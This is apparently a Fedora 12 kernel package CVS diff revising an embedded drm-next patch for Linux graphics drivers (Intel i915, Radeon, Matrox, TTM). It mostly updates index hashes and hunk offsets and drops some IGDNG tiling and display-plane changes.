 b/drivers/gpu/drm/i915/i915_drv.h                 |   62 
 b/drivers/gpu/drm/i915/i915_gem.c                 |   14 
 b/drivers/gpu/drm/i915/i915_gem_tiling.c          |   65 
 b/drivers/gpu/drm/i915/i915_irq.c                 |   21 
 b/drivers/gpu/drm/i915/i915_reg.h                 |  139 
 b/drivers/gpu/drm/i915/i915_suspend.c             |    4 
 b/drivers/gpu/drm/i915/intel_bios.c               |    8 
 b/drivers/gpu/drm/i915/intel_crt.c                |   28 
 b/drivers/gpu/drm/i915/intel_display.c            |  608 
 b/drivers/gpu/drm/i915/intel_drv.h                |    9 
 b/drivers/gpu/drm/i915/intel_fb.c                 |  748 
 b/drivers/gpu/drm/i915/intel_i2c.c                |    8 
 b/drivers/gpu/drm/i915/intel_lvds.c               |   22 
 b/drivers/gpu/drm/i915/intel_sdvo.c               |  239 
 b/drivers/gpu/drm/i915/intel_tv.c                 |   30 
 b/drivers/gpu/drm/mga/mga_dma.c                   |    4 
 b/drivers/gpu/drm/mga/mga_drv.h                   |    1 
 b/drivers/gpu/drm/mga/mga_warp.c                  |  180 
 b/drivers/gpu/drm/r128/r128_cce.c                 |  116 
 b/drivers/gpu/drm/r128/r128_drv.h                 |    8 
 b/drivers/gpu/drm/r128/r128_state.c               |   36 
 b/drivers/gpu/drm/radeon/.gitignore               |    3 
 b/drivers/gpu/drm/radeon/Kconfig                  |    1 
 b/drivers/gpu/drm/radeon/Makefile                 |   43 
 b/drivers/gpu/drm/radeon/atombios.h               |   11 
 b/drivers/gpu/drm/radeon/atombios_crtc.c          |  106 
 b/drivers/gpu/drm/radeon/avivod.h                 |   60 
 b/drivers/gpu/drm/radeon/mkregtable.c             |  720 
 b/drivers/gpu/drm/radeon/r100.c                   | 1711 +
 b/drivers/gpu/drm/radeon/r100_track.h             |  183 
 b/drivers/gpu/drm/radeon/r100d.h                  |  714 
 b/drivers/gpu/drm/radeon/r200.c                   |  454 
 b/drivers/gpu/drm/radeon/r300.c                   |  979 
 b/drivers/gpu/drm/radeon/r300d.h                  |  306 
 b/drivers/gpu/drm/radeon/r420.c                   |  305 
 b/drivers/gpu/drm/radeon/r420d.h                  |  249 
 b/drivers/gpu/drm/radeon/r500_reg.h               |    3 
 b/drivers/gpu/drm/radeon/r520.c                   |  281 
 b/drivers/gpu/drm/radeon/r520d.h                  |  187 
 b/drivers/gpu/drm/radeon/r600.c                   | 1817 +
 b/drivers/gpu/drm/radeon/r600_blit.c              |  846 
 b/drivers/gpu/drm/radeon/r600_blit_kms.c          |  806 
 b/drivers/gpu/drm/radeon/r600_blit_shaders.c      | 1072 +
 b/drivers/gpu/drm/radeon/r600_blit_shaders.h      |   14 
 b/drivers/gpu/drm/radeon/r600_cp.c                |  541 
 b/drivers/gpu/drm/radeon/r600_cs.c                |  783 
 b/drivers/gpu/drm/radeon/r600d.h                  |  662 
 b/drivers/gpu/drm/radeon/radeon.h                 |  438 
 b/drivers/gpu/drm/radeon/radeon_asic.h            |  351 
 b/drivers/gpu/drm/radeon/radeon_atombios.c        |  180 
 b/drivers/gpu/drm/radeon/radeon_bios.c            |   49 
 b/drivers/gpu/drm/radeon/radeon_clocks.c          |   18 
 b/drivers/gpu/drm/radeon/radeon_combios.c         |   58 
 b/drivers/gpu/drm/radeon/radeon_connectors.c      |  545 
 b/drivers/gpu/drm/radeon/radeon_cp.c              |  151 
 b/drivers/gpu/drm/radeon/radeon_cs.c              |  104 
 b/drivers/gpu/drm/radeon/radeon_device.c          |  303 
 b/drivers/gpu/drm/radeon/radeon_display.c         |  146 
 b/drivers/gpu/drm/radeon/radeon_drv.c             |   28 
 b/drivers/gpu/drm/radeon/radeon_drv.h             |  216 
 b/drivers/gpu/drm/radeon/radeon_encoders.c        |  143 
 b/drivers/gpu/drm/radeon/radeon_family.h          |   97 
 b/drivers/gpu/drm/radeon/radeon_fb.c              |  694 
 b/drivers/gpu/drm/radeon/radeon_fence.c           |   49 
 b/drivers/gpu/drm/radeon/radeon_gart.c            |    9 
 b/drivers/gpu/drm/radeon/radeon_ioc32.c           |   15 
 b/drivers/gpu/drm/radeon/radeon_irq.c             |   18 
 b/drivers/gpu/drm/radeon/radeon_irq_kms.c         |    7 
 b/drivers/gpu/drm/radeon/radeon_kms.c             |   74 
 b/drivers/gpu/drm/radeon/radeon_legacy_crtc.c     |   86 
 b/drivers/gpu/drm/radeon/radeon_legacy_encoders.c |  377 
 b/drivers/gpu/drm/radeon/radeon_legacy_tv.c       |  904 
 b/drivers/gpu/drm/radeon/radeon_mode.h            |   76 
 b/drivers/gpu/drm/radeon/radeon_object.c          |   27 
 b/drivers/gpu/drm/radeon/radeon_object.h          |    1 
 b/drivers/gpu/drm/radeon/radeon_reg.h             |   80 
 b/drivers/gpu/drm/radeon/radeon_ring.c            |  143 
 b/drivers/gpu/drm/radeon/radeon_state.c           |   23 
 b/drivers/gpu/drm/radeon/radeon_ttm.c             |   95 
 b/drivers/gpu/drm/radeon/reg_srcs/r100            |  105 
 b/drivers/gpu/drm/radeon/reg_srcs/r200            |  184 
 b/drivers/gpu/drm/radeon/reg_srcs/r300            |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rn50            |   30 
 b/drivers/gpu/drm/radeon/reg_srcs/rs600           |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rv515           |  486 
 b/drivers/gpu/drm/radeon/rs100d.h                 |   40 
 b/drivers/gpu/drm/radeon/rs400.c                  |  329 
 b/drivers/gpu/drm/radeon/rs400d.h                 |  160 
 b/drivers/gpu/drm/radeon/rs600.c                  |  591 
 b/drivers/gpu/drm/radeon/rs600d.h                 |  470 
 b/drivers/gpu/drm/radeon/rs690.c                  |  358 
 b/drivers/gpu/drm/radeon/rs690d.h                 |  307 
 b/drivers/gpu/drm/radeon/rv200d.h                 |   36 
 b/drivers/gpu/drm/radeon/rv250d.h                 |  123 
 b/drivers/gpu/drm/radeon/rv350d.h                 |   52 
 b/drivers/gpu/drm/radeon/rv515.c                  |  881 
 b/drivers/gpu/drm/radeon/rv515d.h                 |  603 
 b/drivers/gpu/drm/radeon/rv770.c                  | 1034 
 b/drivers/gpu/drm/radeon/rv770d.h                 |  341 
 b/drivers/gpu/drm/ttm/ttm_bo.c                    |  295 
 b/drivers/gpu/drm/ttm/ttm_bo_util.c               |    4 
 b/drivers/gpu/drm/ttm/ttm_global.c                |    6 
 b/drivers/gpu/drm/ttm/ttm_memory.c                |  508 
 b/drivers/gpu/drm/ttm/ttm_module.c                |   58 
 b/drivers/gpu/drm/ttm/ttm_tt.c                    |  104 
 b/drivers/video/fbmem.c                           |    2 
 b/firmware/Makefile                               |   16 
 b/firmware/WHENCE                                 |  121 
 b/firmware/matrox/g200_warp.H16                   |   28 
 b/firmware/matrox/g400_warp.H16                   |   44 
 b/firmware/r128/r128_cce.bin.ihex                 |  129 
 b/firmware/radeon/R100_cp.bin.ihex                |  130 
 b/firmware/radeon/R200_cp.bin.ihex                |  130 
 b/firmware/radeon/R300_cp.bin.ihex                |  130 
 b/firmware/radeon/R420_cp.bin.ihex                |  130 
 b/firmware/radeon/R520_cp.bin.ihex                |  130 
 b/firmware/radeon/R600_me.bin.ihex                | 1345 +
 b/firmware/radeon/R600_pfp.bin.ihex               |  145 
 b/firmware/radeon/RS600_cp.bin.ihex               |  130 
 b/firmware/radeon/RS690_cp.bin.ihex               |  130 
 b/firmware/radeon/RS780_me.bin.ihex               | 1345 +
 b/firmware/radeon/RS780_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV610_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV610_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV620_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV620_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV630_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV630_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV635_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV635_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV670_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV670_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV710_me.bin.ihex               |  341 
 b/firmware/radeon/RV710_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV730_me.bin.ihex               |  341 
 b/firmware/radeon/RV730_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV770_me.bin.ihex               |  341 
 b/firmware/radeon/RV770_pfp.bin.ihex              |  213 
 b/include/drm/drmP.h                              |   54 
 b/include/drm/drm_cache.h                         |   38 
 b/include/drm/drm_crtc.h                          |   28 
 b/include/drm/drm_crtc_helper.h                   |   10 
 b/include/drm/drm_encoder_slave.h                 |  162 
 b/include/drm/drm_fb_helper.h                     |  111 
 b/include/drm/drm_mm.h                            |    7 
 b/include/drm/drm_mode.h                          |   11 
 b/include/drm/drm_pciids.h                        |    4 
 b/include/drm/drm_sysfs.h                         |   12 
 b/include/drm/radeon_drm.h                        |   12 
 b/include/drm/ttm/ttm_bo_api.h                    |   13 
 b/include/drm/ttm/ttm_bo_driver.h                 |   94 
 b/include/drm/ttm/ttm_memory.h                    |   43 
 b/include/drm/ttm/ttm_module.h                    |    2 
 drivers/gpu/drm/i915/i915_gem_debugfs.c           |  396 
 drivers/gpu/drm/mga/mga_ucode.h                   |11645 ----------
 drivers/gpu/drm/radeon/r300.h                     |   36 
 drivers/gpu/drm/radeon/r600_microcode.h           |23297 ----------------------
 drivers/gpu/drm/radeon/radeon_microcode.h         | 1844 -
 drivers/gpu/drm/radeon/radeon_share.h             |   39 
 drivers/gpu/drm/radeon/rs690r.h                   |   99 
 drivers/gpu/drm/radeon/rs780.c                    |  102 
 drivers/gpu/drm/radeon/rv515r.h                   |  170 
 181 files changed, 40597 insertions(+), 43447 deletions(-)

Index: drm-next-d4ac6a05.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/drm-next-d4ac6a05.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- drm-next-d4ac6a05.patch	8 Oct 2009 04:32:54 -0000	1.1
+++ drm-next-d4ac6a05.patch	8 Oct 2009 18:49:27 -0000	1.2
@@ -4214,7 +4214,7 @@ index 50d1f78..9909505 100644
  	}
  
 diff --git a/drivers/gpu/drm/i915/i915_drv.c b/drivers/gpu/drm/i915/i915_drv.c
-index fc4b68a..dbe568c 100644
+index c078d99..e8cf18d 100644
 --- a/drivers/gpu/drm/i915/i915_drv.c
 +++ b/drivers/gpu/drm/i915/i915_drv.c
 @@ -37,12 +37,15 @@
@@ -4234,7 +4234,7 @@ index fc4b68a..dbe568c 100644
  static struct drm_driver driver;
  
  static struct pci_device_id pciidlist[] = {
-@@ -188,8 +191,8 @@ static struct drm_driver driver = {
+@@ -186,8 +189,8 @@ static struct drm_driver driver = {
  	.master_create = i915_master_create,
  	.master_destroy = i915_master_destroy,
  #if defined(CONFIG_DEBUG_FS)
@@ -4381,7 +4381,7 @@ index 5b4f87e..77ed060 100644
  
  #endif
 diff --git a/drivers/gpu/drm/i915/i915_gem.c b/drivers/gpu/drm/i915/i915_gem.c
-index 7edb5b9..954fb69 100644
+index 2b7aeee..6a32682 100644
 --- a/drivers/gpu/drm/i915/i915_gem.c
 +++ b/drivers/gpu/drm/i915/i915_gem.c
 @@ -29,6 +29,7 @@
@@ -4430,7 +4430,7 @@ index 7edb5b9..954fb69 100644
  		ret = i915_gem_object_set_to_gtt_domain(obj, write_domain != 0);
  
  		/* Update the LRU on the fence for the CPU access that's
-@@ -2776,6 +2781,8 @@ i915_gem_object_set_to_gpu_domain(struct drm_gem_object *obj)
+@@ -2760,6 +2765,8 @@ i915_gem_object_set_to_gpu_domain(struct drm_gem_object *obj)
  	BUG_ON(obj->pending_read_domains & I915_GEM_DOMAIN_CPU);
  	BUG_ON(obj->pending_write_domain == I915_GEM_DOMAIN_CPU);
  
@@ -4439,7 +4439,7 @@ index 7edb5b9..954fb69 100644
  #if WATCH_BUF
  	DRM_INFO("%s: object %p read %08x -> %08x write %08x -> %08x\n",
  		 __func__, obj,
-@@ -4093,7 +4100,6 @@ i915_gem_init_ringbuffer(struct drm_device *dev)
+@@ -4088,7 +4095,6 @@ i915_gem_init_ringbuffer(struct drm_device *dev)
  
  	/* Set up the kernel mapping for the ring. */
  	ring->Size = obj->size;
@@ -4850,7 +4850,7 @@ index cb3b974..0000000
 -#endif /* CONFIG_DEBUG_FS */
 -
 diff --git a/drivers/gpu/drm/i915/i915_gem_tiling.c b/drivers/gpu/drm/i915/i915_gem_tiling.c
-index a2d527b..200e398 100644
+index e774a4a..200e398 100644
 --- a/drivers/gpu/drm/i915/i915_gem_tiling.c
 +++ b/drivers/gpu/drm/i915/i915_gem_tiling.c
 @@ -94,23 +94,15 @@
@@ -4999,35 +4999,6 @@ index a2d527b..200e398 100644
  		}
  	}
  
-@@ -234,7 +209,13 @@ i915_gem_detect_bit_6_swizzle(struct drm_device *dev)
- 	uint32_t swizzle_y = I915_BIT_6_SWIZZLE_UNKNOWN;
- 	bool need_disable;
- 
--	if (!IS_I9XX(dev)) {
-+	if (IS_IGDNG(dev)) {
-+		/* On IGDNG whatever DRAM config, GPU always do
-+		 * same swizzling setup.
-+		 */
-+		swizzle_x = I915_BIT_6_SWIZZLE_9_10;
-+		swizzle_y = I915_BIT_6_SWIZZLE_9;
-+	} else if (!IS_I9XX(dev)) {
- 		/* As far as we know, the 865 doesn't have these bit 6
- 		 * swizzling issues.
- 		 */
-@@ -317,13 +298,6 @@ i915_gem_detect_bit_6_swizzle(struct drm_device *dev)
- 		}
- 	}
- 
--	/* FIXME: check with memory config on IGDNG */
--	if (IS_IGDNG(dev)) {
--		DRM_ERROR("disable tiling on IGDNG...\n");
--		swizzle_x = I915_BIT_6_SWIZZLE_UNKNOWN;
--		swizzle_y = I915_BIT_6_SWIZZLE_UNKNOWN;
--	}
--
- 	dev_priv->mm.bit_6_swizzle_x = swizzle_x;
- 	dev_priv->mm.bit_6_swizzle_y = swizzle_y;
- }
 diff --git a/drivers/gpu/drm/i915/i915_irq.c b/drivers/gpu/drm/i915/i915_irq.c
 index 7ebc84c..6c89f2f 100644
 --- a/drivers/gpu/drm/i915/i915_irq.c
@@ -5061,7 +5032,7 @@ index 7ebc84c..6c89f2f 100644
  
  		I915_WRITE(IIR, iir);
 diff --git a/drivers/gpu/drm/i915/i915_reg.h b/drivers/gpu/drm/i915/i915_reg.h
-index 2955083..e38cd21 100644
+index 106a1ae..268d272 100644
 --- a/drivers/gpu/drm/i915/i915_reg.h
 +++ b/drivers/gpu/drm/i915/i915_reg.h
 @@ -55,7 +55,7 @@
@@ -5245,24 +5216,6 @@ index 2955083..e38cd21 100644
  #define PIPEASTAT		0x70024
  #define   PIPE_FIFO_UNDERRUN_STATUS		(1UL<<31)
  #define   PIPE_CRC_ERROR_ENABLE			(1UL<<29)
-@@ -1733,6 +1864,7 @@
- #define   DISPPLANE_NO_LINE_DOUBLE		0
- #define   DISPPLANE_STEREO_POLARITY_FIRST	0
- #define   DISPPLANE_STEREO_POLARITY_SECOND	(1<<18)
-+#define   DISPPLANE_TRICKLE_FEED_DISABLE	(1<<14) /* IGDNG */
- #define   DISPPLANE_TILED			(1<<10)
- #define DSPAADDR		0x70184
- #define DSPASTRIDE		0x70188
-@@ -1913,6 +2045,9 @@
- #define GTIIR   0x44018
- #define GTIER   0x4401c
- 
-+#define DISP_ARB_CTL	0x45000
-+#define  DISP_TILE_SURFACE_SWIZZLING	(1<<13)
-+
- /* PCH */
- 
- /* south display engine interrupt */
 diff --git a/drivers/gpu/drm/i915/i915_suspend.c b/drivers/gpu/drm/i915/i915_suspend.c
 index 1d04e19..20d4d19 100644
 --- a/drivers/gpu/drm/i915/i915_suspend.c
@@ -5286,10 +5239,10 @@ index 1d04e19..20d4d19 100644
  	/* Cache mode state */
  	I915_WRITE (CACHE_MODE_0, dev_priv->saveCACHE_MODE_0 | 0xffff0000);
 diff --git a/drivers/gpu/drm/i915/intel_bios.c b/drivers/gpu/drm/i915/intel_bios.c
-index f806fcc..1e28c16 100644
+index 698a0ed..4337414 100644
 --- a/drivers/gpu/drm/i915/intel_bios.c
 +++ b/drivers/gpu/drm/i915/intel_bios.c
-@@ -355,8 +355,14 @@ parse_driver_features(struct drm_i915_private *dev_priv,
+@@ -358,8 +358,14 @@ parse_driver_features(struct drm_i915_private *dev_priv,
  	}
  
  	driver = find_section(bdb, BDB_DRIVER_FEATURES);
@@ -5306,7 +5259,7 @@ index f806fcc..1e28c16 100644
  
  /**
 diff --git a/drivers/gpu/drm/i915/intel_crt.c b/drivers/gpu/drm/i915/intel_crt.c
-index 590f81c..88814fa 100644
+index 5ae4c1a..212e227 100644
 --- a/drivers/gpu/drm/i915/intel_crt.c
 +++ b/drivers/gpu/drm/i915/intel_crt.c
 @@ -64,6 +64,34 @@ static void intel_crt_dpms(struct drm_encoder *encoder, int mode)
@@ -5345,7 +5298,7 @@ index 590f81c..88814fa 100644
  
  static int intel_crt_mode_valid(struct drm_connector *connector,
 diff --git a/drivers/gpu/drm/i915/intel_display.c b/drivers/gpu/drm/i915/intel_display.c
-index 748ed50..8939039 100644
+index 8b5af29..a865af5 100644
 --- a/drivers/gpu/drm/i915/intel_display.c
 +++ b/drivers/gpu/drm/i915/intel_display.c
 @@ -38,6 +38,7 @@
@@ -5561,18 +5514,7 @@ index 748ed50..8939039 100644
  					int this_err;
  
  					intel_clock(dev, refclk, &clock);
-@@ -1008,6 +1064,10 @@ intel_pipe_set_base(struct drm_crtc *crtc, int x, int y,
- 			dspcntr &= ~DISPPLANE_TILED;
- 	}
- 
-+	if (IS_IGDNG(dev))
-+		/* must disable */
-+		dspcntr |= DISPPLANE_TRICKLE_FEED_DISABLE;
-+
- 	I915_WRITE(dspcntr_reg, dspcntr);
- 
- 	Start = obj_priv->gtt_offset;
-@@ -1030,8 +1090,11 @@ intel_pipe_set_base(struct drm_crtc *crtc, int x, int y,
+@@ -1034,8 +1090,11 @@ intel_pipe_set_base(struct drm_crtc *crtc, int x, int y,
  
  	if (old_fb) {
  		intel_fb = to_intel_framebuffer(old_fb);
@@ -5584,7 +5526,7 @@ index 748ed50..8939039 100644
  	mutex_unlock(&dev->struct_mutex);
  
  	if (!dev->primary->master)
-@@ -1581,6 +1644,8 @@ static void intel_crtc_dpms(struct drm_crtc *crtc, int mode)
+@@ -1599,6 +1658,8 @@ static void intel_crtc_dpms(struct drm_crtc *crtc, int mode)
  	else
  		i9xx_crtc_dpms(crtc, mode);
  
@@ -5593,7 +5535,7 @@ index 748ed50..8939039 100644
  	if (!dev->primary->master)
  		return;
  
-@@ -1603,8 +1668,6 @@ static void intel_crtc_dpms(struct drm_crtc *crtc, int mode)
+@@ -1621,8 +1682,6 @@ static void intel_crtc_dpms(struct drm_crtc *crtc, int mode)
  		DRM_ERROR("Can't update pipe %d in SAREA\n", pipe);
  		break;
  	}
@@ -5602,7 +5544,7 @@ index 748ed50..8939039 100644
  }
  
  static void intel_crtc_prepare (struct drm_crtc *crtc)
-@@ -2054,6 +2117,18 @@ static int intel_get_fifo_size(struct drm_device *dev, int plane)
+@@ -2079,6 +2138,18 @@ static int intel_get_fifo_size(struct drm_device *dev, int plane)
  	return size;
  }
  
@@ -5621,7 +5563,7 @@ index 748ed50..8939039 100644
  static void i965_update_wm(struct drm_device *dev)
  {
  	struct drm_i915_private *dev_priv = dev->dev_private;
-@@ -2105,7 +2180,8 @@ static void i9xx_update_wm(struct drm_device *dev, int planea_clock,
+@@ -2130,7 +2201,8 @@ static void i9xx_update_wm(struct drm_device *dev, int planea_clock,
  	cwm = 2;
  
  	/* Calc sr entries for one plane configs */
@@ -5631,7 +5573,7 @@ index 748ed50..8939039 100644
  		/* self-refresh has much higher latency */
  		const static int sr_latency_ns = 6000;
  
-@@ -2120,8 +2196,7 @@ static void i9xx_update_wm(struct drm_device *dev, int planea_clock,
+@@ -2145,8 +2217,7 @@ static void i9xx_update_wm(struct drm_device *dev, int planea_clock,
  		srwm = total_size - sr_entries;
  		if (srwm < 0)
  			srwm = 1;
@@ -5641,7 +5583,7 @@ index 748ed50..8939039 100644
  	}
  
  	DRM_DEBUG("Setting FIFO watermarks - A: %d, B: %d, C: %d, SR %d\n",
-@@ -2195,9 +2270,6 @@ static void intel_update_watermarks(struct drm_device *dev)
+@@ -2220,9 +2291,6 @@ static void intel_update_watermarks(struct drm_device *dev)
  	unsigned long planea_clock = 0, planeb_clock = 0, sr_clock = 0;
  	int enabled = 0, pixel_size = 0;
  
@@ -5651,7 +5593,7 @@ index 748ed50..8939039 100644
  	/* Get the clock config from both planes */
  	list_for_each_entry(crtc, &dev->mode_config.crtc_list, head) {
  		intel_crtc = to_intel_crtc(crtc);
-@@ -2230,7 +2302,9 @@ static void intel_update_watermarks(struct drm_device *dev)
+@@ -2255,7 +2323,9 @@ static void intel_update_watermarks(struct drm_device *dev)
  	else if (IS_IGD(dev))
  		igd_disable_cxsr(dev);
  
@@ -5662,7 +5604,7 @@ index 748ed50..8939039 100644
  		i965_update_wm(dev);
  	else if (IS_I9XX(dev) || IS_MOBILE(dev))
  		i9xx_update_wm(dev, planea_clock, planeb_clock, sr_hdisplay,
-@@ -2264,9 +2338,9 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
+@@ -2289,9 +2359,9 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
  	int dsppos_reg = (pipe == 0) ? DSPAPOS : DSPBPOS;
  	int pipesrc_reg = (pipe == 0) ? PIPEASRC : PIPEBSRC;
  	int refclk, num_outputs = 0;
@@ -5675,7 +5617,7 @@ index 748ed50..8939039 100644
  	bool is_crt = false, is_lvds = false, is_tv = false, is_dp = false;
  	bool is_edp = false;
  	struct drm_mode_config *mode_config = &dev->mode_config;
-@@ -2349,6 +2423,14 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
+@@ -2374,6 +2444,14 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
  		return -EINVAL;
  	}
  
@@ -5690,7 +5632,7 @@ index 748ed50..8939039 100644
  	/* SDVO TV has fixed PLL values depend on its clock range,
  	   this mirrors vbios setting. */
  	if (is_sdvo && is_tv) {
-@@ -2394,10 +2476,17 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
+@@ -2419,10 +2497,17 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
  				  link_bw, &m_n);
  	}
  
@@ -5710,7 +5652,7 @@ index 748ed50..8939039 100644
  
  	if (!IS_IGDNG(dev))
  		dpll = DPLL_VGA_MODE_DIS;
-@@ -2426,6 +2515,8 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
+@@ -2451,6 +2536,8 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
  			/* also FPA1 */
  			if (IS_IGDNG(dev))
  				dpll |= (1 << (clock.p1 - 1)) << DPLL_FPA1_P1_POST_DIV_SHIFT;
@@ -5719,7 +5661,7 @@ index 748ed50..8939039 100644
  		}
  		switch (clock.p2) {
  		case 5:
-@@ -2573,6 +2664,22 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
+@@ -2598,6 +2685,22 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
  		udelay(150);
  	}
  
@@ -5742,20 +5684,7 @@ index 748ed50..8939039 100644
  	I915_WRITE(htot_reg, (adjusted_mode->crtc_hdisplay - 1) |
  		   ((adjusted_mode->crtc_htotal - 1) << 16));
  	I915_WRITE(hblank_reg, (adjusted_mode->crtc_hblank_start - 1) |
-@@ -2616,6 +2723,12 @@ static int intel_crtc_mode_set(struct drm_crtc *crtc,
- 
- 	intel_wait_for_vblank(dev);
- 
-+	if (IS_IGDNG(dev)) {
-+		/* enable address swizzle for tiling buffer */
-+		temp = I915_READ(DISP_ARB_CTL);
-+		I915_WRITE(DISP_ARB_CTL, temp | DISP_TILE_SURFACE_SWIZZLING);
-+	}
-+
- 	I915_WRITE(dspcntr_reg, dspcntr);
- 
- 	/* Flush the plane changes */
-@@ -2769,10 +2882,16 @@ static int intel_crtc_cursor_move(struct drm_crtc *crtc, int x, int y)
+@@ -2800,10 +2903,16 @@ static int intel_crtc_cursor_move(struct drm_crtc *crtc, int x, int y)
  	struct drm_device *dev = crtc->dev;
  	struct drm_i915_private *dev_priv = dev->dev_private;
  	struct intel_crtc *intel_crtc = to_intel_crtc(crtc);
@@ -5772,7 +5701,7 @@ index 748ed50..8939039 100644
  	if (x < 0) {
  		temp |= CURSOR_POS_SIGN << CURSOR_X_SHIFT;
  		x = -x;
-@@ -2803,6 +2922,16 @@ void intel_crtc_fb_gamma_set(struct drm_crtc *crtc, u16 red, u16 green,
+@@ -2834,6 +2943,16 @@ void intel_crtc_fb_gamma_set(struct drm_crtc *crtc, u16 red, u16 green,
  	intel_crtc->lut_b[regno] = blue >> 8;
  }
  
@@ -5789,7 +5718,7 @@ index 748ed50..8939039 100644
  static void intel_crtc_gamma_set(struct drm_crtc *crtc, u16 *red, u16 *green,
  				 u16 *blue, uint32_t size)
  {
-@@ -3070,12 +3199,319 @@ struct drm_display_mode *intel_crtc_mode_get(struct drm_device *dev,
+@@ -3101,12 +3220,319 @@ struct drm_display_mode *intel_crtc_mode_get(struct drm_device *dev,
  	return mode;
  }
  
@@ -6111,7 +6040,7 @@ index 748ed50..8939039 100644
  	drm_crtc_cleanup(crtc);
  	kfree(intel_crtc);
  }
-@@ -3087,6 +3523,7 @@ static const struct drm_crtc_helper_funcs intel_helper_funcs = {
+@@ -3118,6 +3544,7 @@ static const struct drm_crtc_helper_funcs intel_helper_funcs = {
  	.mode_set_base = intel_pipe_set_base,
  	.prepare = intel_crtc_prepare,
  	.commit = intel_crtc_commit,
@@ -6119,7 +6048,7 @@ index 748ed50..8939039 100644
  };
  
  static const struct drm_crtc_funcs intel_crtc_funcs = {
-@@ -3122,15 +3559,10 @@ static void intel_crtc_init(struct drm_device *dev, int pipe)
+@@ -3153,15 +3580,10 @@ static void intel_crtc_init(struct drm_device *dev, int pipe)
  	intel_crtc->dpms_mode = DRM_MODE_DPMS_OFF;
  	drm_crtc_helper_add(&intel_crtc->base, &intel_helper_funcs);
  
@@ -6128,17 +6057,17 @@ index 748ed50..8939039 100644
 -	intel_crtc->mode_set.num_connectors = 0;
 -
 -	if (i915_fbpercrtc) {
+-
 +	intel_crtc->busy = false;
  
 -
--
 -	}
 +	setup_timer(&intel_crtc->idle_timer, intel_crtc_idle_timer,
 +		    (unsigned long)intel_crtc);
  }
  
  int intel_get_pipe_from_crtc_id(struct drm_device *dev, void *data,
-@@ -3138,30 +3570,26 @@ int intel_get_pipe_from_crtc_id(struct drm_device *dev, void *data,
+@@ -3169,30 +3591,26 @@ int intel_get_pipe_from_crtc_id(struct drm_device *dev, void *data,
  {
  	drm_i915_private_t *dev_priv = dev->dev_private;
  	struct drm_i915_get_pipe_from_crtc_id *pipe_from_crtc_id = data;
@@ -6177,7 +6106,7 @@ index 748ed50..8939039 100644
  }
  
  struct drm_crtc *intel_get_crtc_from_pipe(struct drm_device *dev, int pipe)
-@@ -3362,8 +3790,56 @@ static const struct drm_mode_config_funcs intel_mode_funcs = {
+@@ -3393,8 +3811,56 @@ static const struct drm_mode_config_funcs intel_mode_funcs = {
  	.fb_changed = intelfb_probe,
  };
  
@@ -6234,7 +6163,7 @@ index 748ed50..8939039 100644
  	int num_pipe;
  	int i;
  
-@@ -3398,15 +3874,47 @@ void intel_modeset_init(struct drm_device *dev)
+@@ -3429,15 +3895,47 @@ void intel_modeset_init(struct drm_device *dev)
  	DRM_DEBUG("%d display pipe%s available.\n",
  		  num_pipe, num_pipe > 1 ? "s" : "");
  
@@ -6283,10 +6212,10 @@ index 748ed50..8939039 100644
  }
  
 diff --git a/drivers/gpu/drm/i915/intel_drv.h b/drivers/gpu/drm/i915/intel_drv.h
-index 25aa6fa..aa96b52 100644
+index 26a6227..dcfc53c 100644
 --- a/drivers/gpu/drm/i915/intel_drv.h
 +++ b/drivers/gpu/drm/i915/intel_drv.h
-@@ -116,9 +116,9 @@ struct intel_crtc {
+@@ -117,9 +117,9 @@ struct intel_crtc {
  	uint32_t cursor_addr;
  	u8 lut_r[256], lut_g[256], lut_b[256];
  	int dpms_mode;
@@ -6299,7 +6228,7 @@ index 25aa6fa..aa96b52 100644
  };
  
  #define to_intel_crtc(x) container_of(x, struct intel_crtc, base)
-@@ -137,6 +137,7 @@ extern void intel_hdmi_init(struct drm_device *dev, int sdvox_reg);
+@@ -138,6 +138,7 @@ extern void intel_hdmi_init(struct drm_device *dev, int sdvox_reg);
  extern bool intel_sdvo_init(struct drm_device *dev, int output_device);
  extern void intel_dvo_init(struct drm_device *dev);
  extern void intel_tv_init(struct drm_device *dev);
@@ -6307,7 +6236,7 @@ index 25aa6fa..aa96b52 100644
  extern void intel_lvds_init(struct drm_device *dev);
  extern void intel_dp_init(struct drm_device *dev, int dp_reg);
  void
-@@ -172,6 +173,8 @@ extern int intelfb_resize(struct drm_device *dev, struct drm_crtc *crtc);
+@@ -173,6 +174,8 @@ extern int intelfb_resize(struct drm_device *dev, struct drm_crtc *crtc);
  extern void intelfb_restore(void);
  extern void intel_crtc_fb_gamma_set(struct drm_crtc *crtc, u16 red, u16 green,
  				    u16 blue, int regno);
@@ -7193,7 +7122,7 @@ index 62b8bea..c7eab72 100644
  
  /*
 diff --git a/drivers/gpu/drm/i915/intel_lvds.c b/drivers/gpu/drm/i915/intel_lvds.c
-index 8df02ef..dafc0da 100644
+index b7d091b..e18ee7a 100644
 --- a/drivers/gpu/drm/i915/intel_lvds.c
 +++ b/drivers/gpu/drm/i915/intel_lvds.c
 @@ -38,16 +38,6 @@
